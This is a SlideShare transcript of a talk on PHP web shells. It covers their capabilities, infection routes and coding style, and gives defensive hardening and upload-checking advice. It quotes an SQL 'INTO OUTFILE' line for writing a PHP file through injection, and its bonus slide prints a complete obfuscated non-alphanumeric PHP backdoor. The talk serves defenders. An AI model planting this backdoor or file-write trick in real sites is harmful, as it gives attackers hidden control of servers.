SlideShare uma empresa Scribd logo
1 de 39
Baixar para ler offline
Vedran Krivokuća, <vedran.krivokuca@nimium.hr>
Ivan Špoljarić, <ivan.spoljaric@nimium.hr>
Anatomy of PHP shell scripts
A little about PHP shells in general
● Scripts written (mostly) in PHP*;
● Placed on a server (mostly under existing PHP sites)
without authorization from server/web site owner;
● Used for "unauthorized maintenance" of the infected
server;
● By the "unauthorized maintenance", we mean literally
anything.
What are PHP shell scripts?
● Running applications/scripts (with root privileges)
● "Piggybacking" on existing local exploits
● Modifying files
● Changing user passwords
● Enabling/disabling/reconfiguring system services
● Dumping, destroying and modifying databases
● Opening new backdoors to the system
"Unauthorized maintenance"
● Surprisingly yes, C99shell and all of it's derivates seem
to be most widespread PHP Shells out there.
● There are literally thousands of PHP shell scripts out
there, quality varies.
Are there "the best" PHP shells?
Methods of infection by PHP shells
● Documentation for PHP, not the language itself, is a root
of all evil.
● You don't believe it? This is how bad it is:
Root Of All Evil
How hard could this possibly be?
● But most of the responsibility is on the programmer.
● PHP team often does good job describing possible
security pitfalls in their documentation
Documented possible pitfalls
● attacks through standard filesystem functions which
allow socket operations like fopen(), include(),
require()...*
● attacks through unvalidated upload forms (not
documented clearly enough, obviously...)
● in the worst case scenario, due to constellation of
multiple bugs/vulnerabilities/weak setup, attacker might
even use SQL injection to write files on your server!
mysql> SELECT `injected_malicious_data`
FROM `yourtable`
INTO OUTFILE "file.php"
Documented possible vulnerabilities
● Legend says there were infections with shell scripts
through stolen FTP credentials.
So, it's about time you change your "god", "sex" and
"love" stuff. Also, change those "password" and
"password123". In other words, your server's security is
as strong as it is its weakest link.
● On shared hosting environments without proper user
account isolation, it might not even be you who is
infected but other shared hosting client. Consult hosting
support in order to track down how you were attacked.
Other methods of infection
What if...?
And now the interesting part...
Let's take a peek at PHP shells code
● Rather clever, if not smart, architecture
● Written mostly in PHP, but can bring any exploiting code
inside PHP source code in binary (compiled) form
(mostly base64 encoded within variables) or even
download needed exploits (source or binary) from 3rd
party sites, compile and/or run them.
● If needed, can pull its own components from 3rd party
sites.
General architecture
● Decentralized development
● Resulting in many variations of all of PHP shells in
the wild
● Code often complied to such development process,
usually securing itself from redefining crucial
components
(if !function_exists())... prior to all important
definitions)
● Can rely on 0-day exploits!
Quick development cycle
● The scary part: it's a really short way from "plain PHP
shell" to a full-blown bot script controlled through IRC
Quick development cycle
● Not written by your know-just-a-little-coding regular PHP
dev (no pun intended)
● You'll see what I mean...
Coding style
● Well documented code:
function mysql_query_parse($query, $output_type)
{
/*
if output_type == 0, no output,
if output_type == 1, no output if no error
if output_type == 2, output without control-buttons
if output_type == 3, output with control-buttons
*/
...
}
Coding style
● Proper understanding and usage of variable scopes:
function c99fsearch($d)
{
global $found;
global $found_d;
global $found_f;
global $search_i_f;
global $search_i_d;
global $a;
...
}
Coding style
● It's usually safer code than many of the production PHP
code in the wild:
● If it's a cross-platform shell, it performs checks before
doing a function unavailable on other platform(s)
● Variables included in HTML output are escaped, so
no easy path to unwanted XSS
● SQL query parameters are also escaped, no easy
path to unwanted SQL injections
Coding style
● Variable/function names obfuscation is done/not done
in approximately 50:50 examples from our collected
PHP shells
● External URLs, usernames, passwords are mostly
always encoded using either base64 encoding or some
kind of ascii-code-to-hex-codes conversion
● Obviously not for real protection but obfuscation
against most obvious pattern-searching during
attempts of detection*
Coding style
GUI
● Mostly quite ugly but always very efficient
● Sortable table outputs on every field
● You might be tempted to administer your server solely
through PHP shell scripts. :-)
GUI
Defensive measures
There are no shortcuts!
These recommendations are best for hosters, but
the developers are also invited to have them in mind!
● Whenever possible, chroot or go even further with
isolation of different web sites on the same machine
(containers/pseudo-virtualization/virtualization), limiting
potential damage to just one site.
● Regulary update your server's OS – PHP shells (as
we've learned) can bring along local exploits.
● Seriously consider complex password policies if you're
running shared hosting environment.
System preparation
● Disable potentially dangerous socket functionality of
filesystem PHP functions if you don't need it
(allow_url_fopen, allow_url_include in
php.ini)
if you're not sure – you don't need it
● When editing, keep in mind some systems
(*cough*Debian*cough*) may have multiple php.ini
files (one for mod_php, one for CLI, one for CGI...). Take
care of them all.
● Follow usual security principles in server administration
and maintenance.
Global PHP configuration
● Consider further crippling PHP by disabling at least
program execution PHP functions if you don't need them
(through disable_functions).
● Which are those?
http://www.php.net/manual/en/ref.exec.php
● Leave something enabled from program execution
functions?*
escapeshellarg(), escapeshellcmd()
● While on that subject – you can't disable eval() like
this. :-)
Global PHP configuration
● Always be checking uploaded files! (it is incredible how
much code does not do any kind of checks)
● Keep in mind not to rely on $_FILES[…]['type'].
Why?
Follow good coding practices
$_FILES[...]["type"]
● In general, checking for file extension could do you
just well... If you don't end up only on that, use it as the
primary defense measure.
● That might just not be enough sometimes. You might
want to step-up this game:
● check for mime-type on server. On linux, you can use
external FILE(1) utility. Assuming you haven't
disabled program execution functions.
● We'll see how others do it later.
Ok, how to check uploaded files?
● Always be sanitizing and validating inputs. PHP shells
can be injected through various vectors:
● Apply programming techniques to eliminate possible
SQL injections (escaping, parametrization...)
● Always be escaping shell commands you execute and
their arguments.
● Always doublecheck on filenames of files (and their
paths!) you handle from the code!
Follow good coding practices
How to others defend themselves?
(three examples)
● As far as file uploads go, WordPress checks for
uploaded media types by instancing them in respective
modules (i. e. calls GD's getimagesize() on images)
● WordPress is generally very safe CMS. 3rd party plugins
are usually the source of security issues and PHP shell
infections.
WordPress
● Puts no limitation itself on the uploaded content, since it
is attached to e-mail messages and then deleted from
temporary locations.
● Is it possible to attack remote e-mail clients like that?
Depending on the destination client, it's possible. Not
something Roundcube devs should and could focus on.
Roundcube webmail
● Guesses the mime-type by extension, and you limit
allowed mime-types for upload through configuration.
● You can enable upload of "dangerous file types" if you
want.
Dokuwiki
Bonus slide
What happens when frustrated
Sendmail administrators write
PHP shells?
http://blog.sucuri.net/2013/09/ask-sucuri-non-alphanumeric-backdoors.html
@$_[]=@!+_;
$__=@${_}>>$_;
$_[]=$__;
$_[]=@_;
$_[((++$__)+($__++ ))].=$_;
$_[]=++$__;
$_[]=$_[--$__][$__>>$__];
$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] = ($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__+$__] .= ($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__+$__] .= ($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
$_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_]);
#ep1cw1n

Mais conteúdo relacionado

Mais procurados

A Forgotten HTTP Invisibility Cloak
A Forgotten HTTP Invisibility CloakA Forgotten HTTP Invisibility Cloak
A Forgotten HTTP Invisibility CloakSoroush Dalili
 
When you don't have 0days: client-side exploitation for the masses
When you don't have 0days: client-side exploitation for the massesWhen you don't have 0days: client-side exploitation for the masses
When you don't have 0days: client-side exploitation for the massesMichele Orru
 
Docker Plugin For DevSecOps
Docker Plugin For DevSecOpsDocker Plugin For DevSecOps
Docker Plugin For DevSecOpsPichaya Morimoto
 
TriplePlay-WebAppPenTestingTools
TriplePlay-WebAppPenTestingToolsTriplePlay-WebAppPenTestingTools
TriplePlay-WebAppPenTestingToolsYury Chemerkin
 
How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)Larry Cashdollar
 
Windows Attacks AT is the new black
Windows Attacks   AT is the new blackWindows Attacks   AT is the new black
Windows Attacks AT is the new blackRob Fuller
 
Pwning with powershell
Pwning with powershellPwning with powershell
Pwning with powershelljaredhaight
 
Getting root with benign app store apps vsecurityfest
Getting root with benign app store apps vsecurityfestGetting root with benign app store apps vsecurityfest
Getting root with benign app store apps vsecurityfestCsaba Fitzl
 
Introducing PS>Attack: An offensive PowerShell toolkit
Introducing PS>Attack: An offensive PowerShell toolkitIntroducing PS>Attack: An offensive PowerShell toolkit
Introducing PS>Attack: An offensive PowerShell toolkitjaredhaight
 
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
The Dirty Little Secrets They Didn’t Teach You In Pentesting ClassThe Dirty Little Secrets They Didn’t Teach You In Pentesting Class
The Dirty Little Secrets They Didn’t Teach You In Pentesting ClassRob Fuller
 
Windows attacks - AT is the new black
Windows attacks - AT is the new blackWindows attacks - AT is the new black
Windows attacks - AT is the new blackChris Gates
 
Owasp AppSecEU 2015 - BeEF Session
Owasp AppSecEU 2015 - BeEF SessionOwasp AppSecEU 2015 - BeEF Session
Owasp AppSecEU 2015 - BeEF SessionBart Leppens
 
Get-Help: An intro to PowerShell and how to Use it for Evil
Get-Help: An intro to PowerShell and how to Use it for EvilGet-Help: An intro to PowerShell and how to Use it for Evil
Get-Help: An intro to PowerShell and how to Use it for Eviljaredhaight
 
NSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
NSC #2 - D3 02 - Peter Hlavaty - Attack on the CoreNSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
NSC #2 - D3 02 - Peter Hlavaty - Attack on the CoreNoSuchCon
 

Mais procurados (20)

A Forgotten HTTP Invisibility Cloak
A Forgotten HTTP Invisibility CloakA Forgotten HTTP Invisibility Cloak
A Forgotten HTTP Invisibility Cloak
 
When you don't have 0days: client-side exploitation for the masses
When you don't have 0days: client-side exploitation for the massesWhen you don't have 0days: client-side exploitation for the masses
When you don't have 0days: client-side exploitation for the masses
 
Docker Plugin For DevSecOps
Docker Plugin For DevSecOpsDocker Plugin For DevSecOps
Docker Plugin For DevSecOps
 
Understand study
Understand studyUnderstand study
Understand study
 
TriplePlay-WebAppPenTestingTools
TriplePlay-WebAppPenTestingToolsTriplePlay-WebAppPenTestingTools
TriplePlay-WebAppPenTestingTools
 
WAF protections and bypass resources
WAF protections and bypass resourcesWAF protections and bypass resources
WAF protections and bypass resources
 
How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)
 
Windows Attacks AT is the new black
Windows Attacks   AT is the new blackWindows Attacks   AT is the new black
Windows Attacks AT is the new black
 
Pwning with powershell
Pwning with powershellPwning with powershell
Pwning with powershell
 
Secuirty News Bytes-Bangalore may 2014
Secuirty News Bytes-Bangalore may 2014 Secuirty News Bytes-Bangalore may 2014
Secuirty News Bytes-Bangalore may 2014
 
Flashack
FlashackFlashack
Flashack
 
Getting root with benign app store apps vsecurityfest
Getting root with benign app store apps vsecurityfestGetting root with benign app store apps vsecurityfest
Getting root with benign app store apps vsecurityfest
 
Introducing PS>Attack: An offensive PowerShell toolkit
Introducing PS>Attack: An offensive PowerShell toolkitIntroducing PS>Attack: An offensive PowerShell toolkit
Introducing PS>Attack: An offensive PowerShell toolkit
 
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
The Dirty Little Secrets They Didn’t Teach You In Pentesting ClassThe Dirty Little Secrets They Didn’t Teach You In Pentesting Class
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
 
Nikto
NiktoNikto
Nikto
 
Windows attacks - AT is the new black
Windows attacks - AT is the new blackWindows attacks - AT is the new black
Windows attacks - AT is the new black
 
Owasp AppSecEU 2015 - BeEF Session
Owasp AppSecEU 2015 - BeEF SessionOwasp AppSecEU 2015 - BeEF Session
Owasp AppSecEU 2015 - BeEF Session
 
Get-Help: An intro to PowerShell and how to Use it for Evil
Get-Help: An intro to PowerShell and how to Use it for EvilGet-Help: An intro to PowerShell and how to Use it for Evil
Get-Help: An intro to PowerShell and how to Use it for Evil
 
0d1n
0d1n0d1n
0d1n
 
NSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
NSC #2 - D3 02 - Peter Hlavaty - Attack on the CoreNSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
NSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
 

Semelhante a Anatomy of PHP Shells

Hacking Vulnerable Websites to Bypass Firewalls
Hacking Vulnerable Websites to Bypass FirewallsHacking Vulnerable Websites to Bypass Firewalls
Hacking Vulnerable Websites to Bypass FirewallsNetsparker
 
CISSP Week 14
CISSP Week 14CISSP Week 14
CISSP Week 14jemtallon
 
Secure programming with php
Secure programming with phpSecure programming with php
Secure programming with phpMohmad Feroz
 
The Supporting Role of Antivirus Evasion while Persisting
The Supporting Role of Antivirus Evasion while PersistingThe Supporting Role of Antivirus Evasion while Persisting
The Supporting Role of Antivirus Evasion while PersistingCTruncer
 
Web Security: What's wrong, and how the bad guys can break your website
Web Security: What's wrong, and how the bad guys can break your websiteWeb Security: What's wrong, and how the bad guys can break your website
Web Security: What's wrong, and how the bad guys can break your websiteAndrew Sorensen
 
Denis Baranov: Root via XSS
Denis Baranov: Root via XSSDenis Baranov: Root via XSS
Denis Baranov: Root via XSSqqlan
 
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...Hackito Ergo Sum
 
Ever Present Persistence - Established Footholds Seen in the Wild
Ever Present Persistence - Established Footholds Seen in the WildEver Present Persistence - Established Footholds Seen in the Wild
Ever Present Persistence - Established Footholds Seen in the WildCTruncer
 
Chapter 1: Introduction to Command Line
Chapter 1: Introduction  to Command LineChapter 1: Introduction  to Command Line
Chapter 1: Introduction to Command Lineazzamhadeel89
 
Fuzzing | Null OWASP Mumbai | 2016 June
Fuzzing | Null OWASP Mumbai | 2016 JuneFuzzing | Null OWASP Mumbai | 2016 June
Fuzzing | Null OWASP Mumbai | 2016 Junenullowaspmumbai
 
Learn PHP Lacture1
Learn PHP Lacture1Learn PHP Lacture1
Learn PHP Lacture1ADARSH BHATT
 
Chapter 1: Introduction to Command Line
Chapter 1: Introduction to  Command LineChapter 1: Introduction to  Command Line
Chapter 1: Introduction to Command Lineazzamhadeel89
 
Hacking Highly Secured Enterprise Environments by Zoltan Balazs
Hacking Highly Secured Enterprise Environments by Zoltan BalazsHacking Highly Secured Enterprise Environments by Zoltan Balazs
Hacking Highly Secured Enterprise Environments by Zoltan BalazsShakacon
 
Remote security with Red Hat Enterprise Linux
Remote security with Red Hat Enterprise LinuxRemote security with Red Hat Enterprise Linux
Remote security with Red Hat Enterprise LinuxGiuseppe Paterno'
 

Semelhante a Anatomy of PHP Shells (20)

Hacking Vulnerable Websites to Bypass Firewalls
Hacking Vulnerable Websites to Bypass FirewallsHacking Vulnerable Websites to Bypass Firewalls
Hacking Vulnerable Websites to Bypass Firewalls
 
CISSP Week 14
CISSP Week 14CISSP Week 14
CISSP Week 14
 
Secure PHP Coding
Secure PHP CodingSecure PHP Coding
Secure PHP Coding
 
Secure programming with php
Secure programming with phpSecure programming with php
Secure programming with php
 
The Supporting Role of Antivirus Evasion while Persisting
The Supporting Role of Antivirus Evasion while PersistingThe Supporting Role of Antivirus Evasion while Persisting
The Supporting Role of Antivirus Evasion while Persisting
 
Web Security: What's wrong, and how the bad guys can break your website
Web Security: What's wrong, and how the bad guys can break your websiteWeb Security: What's wrong, and how the bad guys can break your website
Web Security: What's wrong, and how the bad guys can break your website
 
Root via XSS
Root via XSSRoot via XSS
Root via XSS
 
Denis Baranov: Root via XSS
Denis Baranov: Root via XSSDenis Baranov: Root via XSS
Denis Baranov: Root via XSS
 
Root via XSS
Root via XSSRoot via XSS
Root via XSS
 
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
 
Ever Present Persistence - Established Footholds Seen in the Wild
Ever Present Persistence - Established Footholds Seen in the WildEver Present Persistence - Established Footholds Seen in the Wild
Ever Present Persistence - Established Footholds Seen in the Wild
 
IT glossary
IT glossaryIT glossary
IT glossary
 
Linux Internals - Part I
Linux Internals - Part ILinux Internals - Part I
Linux Internals - Part I
 
Chapter 1: Introduction to Command Line
Chapter 1: Introduction  to Command LineChapter 1: Introduction  to Command Line
Chapter 1: Introduction to Command Line
 
Fuzzing | Null OWASP Mumbai | 2016 June
Fuzzing | Null OWASP Mumbai | 2016 JuneFuzzing | Null OWASP Mumbai | 2016 June
Fuzzing | Null OWASP Mumbai | 2016 June
 
PHP ITCS 323
PHP ITCS 323PHP ITCS 323
PHP ITCS 323
 
Learn PHP Lacture1
Learn PHP Lacture1Learn PHP Lacture1
Learn PHP Lacture1
 
Chapter 1: Introduction to Command Line
Chapter 1: Introduction to  Command LineChapter 1: Introduction to  Command Line
Chapter 1: Introduction to Command Line
 
Hacking Highly Secured Enterprise Environments by Zoltan Balazs
Hacking Highly Secured Enterprise Environments by Zoltan BalazsHacking Highly Secured Enterprise Environments by Zoltan Balazs
Hacking Highly Secured Enterprise Environments by Zoltan Balazs
 
Remote security with Red Hat Enterprise Linux
Remote security with Red Hat Enterprise LinuxRemote security with Red Hat Enterprise Linux
Remote security with Red Hat Enterprise Linux
 

Último

Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationSafe Software
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024Lorenzo Miniero
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piececharlottematthew16
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Enterprise Knowledge
 
The Future of Software Development - Devin AI Innovative Approach.pdf
The Future of Software Development - Devin AI Innovative Approach.pdfThe Future of Software Development - Devin AI Innovative Approach.pdf
The Future of Software Development - Devin AI Innovative Approach.pdfSeasiaInfotech2
 
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)Wonjun Hwang
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenHervé Boutemy
 
Training state-of-the-art general text embedding
Training state-of-the-art general text embeddingTraining state-of-the-art general text embedding
Training state-of-the-art general text embeddingZilliz
 
Search Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdfSearch Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdfRankYa
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machinePadma Pradeep
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Scott Keck-Warren
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Mattias Andersson
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr BaganFwdays
 
Streamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupStreamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupFlorian Wilhelm
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsMiki Katsuragi
 
Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!Manik S Magar
 
Connect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationConnect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationSlibray Presentation
 
Powerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time ClashPowerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time Clashcharlottematthew16
 

Último (20)

Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piece
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024
 
The Future of Software Development - Devin AI Innovative Approach.pdf
The Future of Software Development - Devin AI Innovative Approach.pdfThe Future of Software Development - Devin AI Innovative Approach.pdf
The Future of Software Development - Devin AI Innovative Approach.pdf
 
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache Maven
 
Training state-of-the-art general text embedding
Training state-of-the-art general text embeddingTraining state-of-the-art general text embedding
Training state-of-the-art general text embedding
 
Search Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdfSearch Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdf
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machine
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan
 
Streamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupStreamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project Setup
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering Tips
 
Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!
 
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptxE-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
 
Connect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationConnect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck Presentation
 
Powerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time ClashPowerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time Clash
 

Anatomy of PHP Shells

  • 1. Vedran Krivokuća, <vedran.krivokuca@nimium.hr> Ivan Špoljarić, <ivan.spoljaric@nimium.hr> Anatomy of PHP shell scripts
  • 2. A little about PHP shells in general
  • 3. ● Scripts written (mostly) in PHP*; ● Placed on a server (mostly under existing PHP sites) without authorization from server/web site owner; ● Used for "unauthorized maintenance" of the infected server; ● By the "unauthorized maintenance", we mean literally anything. What are PHP shell scripts?
  • 4. ● Running applications/scripts (with root privileges) ● "Piggybacking" on existing local exploits ● Modifying files ● Changing user passwords ● Enabling/disabling/reconfiguring system services ● Dumping, destroying and modifying databases ● Opening new backdoors to the system "Unauthorized maintenance"
  • 5. ● Surprisingly yes, C99shell and all of it's derivates seem to be most widespread PHP Shells out there. ● There are literally thousands of PHP shell scripts out there, quality varies. Are there "the best" PHP shells?
  • 6. Methods of infection by PHP shells
  • 7. ● Documentation for PHP, not the language itself, is a root of all evil. ● You don't believe it? This is how bad it is: Root Of All Evil
  • 8.
  • 9. How hard could this possibly be?
  • 10. ● But most of the responsibility is on the programmer. ● PHP team often does good job describing possible security pitfalls in their documentation Documented possible pitfalls
  • 11. ● attacks through standard filesystem functions which allow socket operations like fopen(), include(), require()...* ● attacks through unvalidated upload forms (not documented clearly enough, obviously...) ● in the worst case scenario, due to constellation of multiple bugs/vulnerabilities/weak setup, attacker might even use SQL injection to write files on your server! mysql> SELECT `injected_malicious_data` FROM `yourtable` INTO OUTFILE "file.php" Documented possible vulnerabilities
  • 12. ● Legend says there were infections with shell scripts through stolen FTP credentials. So, it's about time you change your "god", "sex" and "love" stuff. Also, change those "password" and "password123". In other words, your server's security is as strong as it is its weakest link. ● On shared hosting environments without proper user account isolation, it might not even be you who is infected but other shared hosting client. Consult hosting support in order to track down how you were attacked. Other methods of infection
  • 14. And now the interesting part... Let's take a peek at PHP shells code
  • 15. ● Rather clever, if not smart, architecture ● Written mostly in PHP, but can bring any exploiting code inside PHP source code in binary (compiled) form (mostly base64 encoded within variables) or even download needed exploits (source or binary) from 3rd party sites, compile and/or run them. ● If needed, can pull its own components from 3rd party sites. General architecture
  • 16. ● Decentralized development ● Resulting in many variations of all of PHP shells in the wild ● Code often complied to such development process, usually securing itself from redefining crucial components (if !function_exists())... prior to all important definitions) ● Can rely on 0-day exploits! Quick development cycle
  • 17. ● The scary part: it's a really short way from "plain PHP shell" to a full-blown bot script controlled through IRC Quick development cycle
  • 18. ● Not written by your know-just-a-little-coding regular PHP dev (no pun intended) ● You'll see what I mean... Coding style
  • 19. ● Well documented code: function mysql_query_parse($query, $output_type) { /* if output_type == 0, no output, if output_type == 1, no output if no error if output_type == 2, output without control-buttons if output_type == 3, output with control-buttons */ ... } Coding style
  • 20. ● Proper understanding and usage of variable scopes: function c99fsearch($d) { global $found; global $found_d; global $found_f; global $search_i_f; global $search_i_d; global $a; ... } Coding style
  • 21. ● It's usually safer code than many of the production PHP code in the wild: ● If it's a cross-platform shell, it performs checks before doing a function unavailable on other platform(s) ● Variables included in HTML output are escaped, so no easy path to unwanted XSS ● SQL query parameters are also escaped, no easy path to unwanted SQL injections Coding style
  • 22. ● Variable/function names obfuscation is done/not done in approximately 50:50 examples from our collected PHP shells ● External URLs, usernames, passwords are mostly always encoded using either base64 encoding or some kind of ascii-code-to-hex-codes conversion ● Obviously not for real protection but obfuscation against most obvious pattern-searching during attempts of detection* Coding style
  • 23. GUI
  • 24. ● Mostly quite ugly but always very efficient ● Sortable table outputs on every field ● You might be tempted to administer your server solely through PHP shell scripts. :-) GUI
  • 26. There are no shortcuts!
  • 27. These recommendations are best for hosters, but the developers are also invited to have them in mind! ● Whenever possible, chroot or go even further with isolation of different web sites on the same machine (containers/pseudo-virtualization/virtualization), limiting potential damage to just one site. ● Regulary update your server's OS – PHP shells (as we've learned) can bring along local exploits. ● Seriously consider complex password policies if you're running shared hosting environment. System preparation
  • 28. ● Disable potentially dangerous socket functionality of filesystem PHP functions if you don't need it (allow_url_fopen, allow_url_include in php.ini) if you're not sure – you don't need it ● When editing, keep in mind some systems (*cough*Debian*cough*) may have multiple php.ini files (one for mod_php, one for CLI, one for CGI...). Take care of them all. ● Follow usual security principles in server administration and maintenance. Global PHP configuration
  • 29. ● Consider further crippling PHP by disabling at least program execution PHP functions if you don't need them (through disable_functions). ● Which are those? http://www.php.net/manual/en/ref.exec.php ● Leave something enabled from program execution functions?* escapeshellarg(), escapeshellcmd() ● While on that subject – you can't disable eval() like this. :-) Global PHP configuration
  • 30. ● Always be checking uploaded files! (it is incredible how much code does not do any kind of checks) ● Keep in mind not to rely on $_FILES[…]['type']. Why? Follow good coding practices
  • 32. ● In general, checking for file extension could do you just well... If you don't end up only on that, use it as the primary defense measure. ● That might just not be enough sometimes. You might want to step-up this game: ● check for mime-type on server. On linux, you can use external FILE(1) utility. Assuming you haven't disabled program execution functions. ● We'll see how others do it later. Ok, how to check uploaded files?
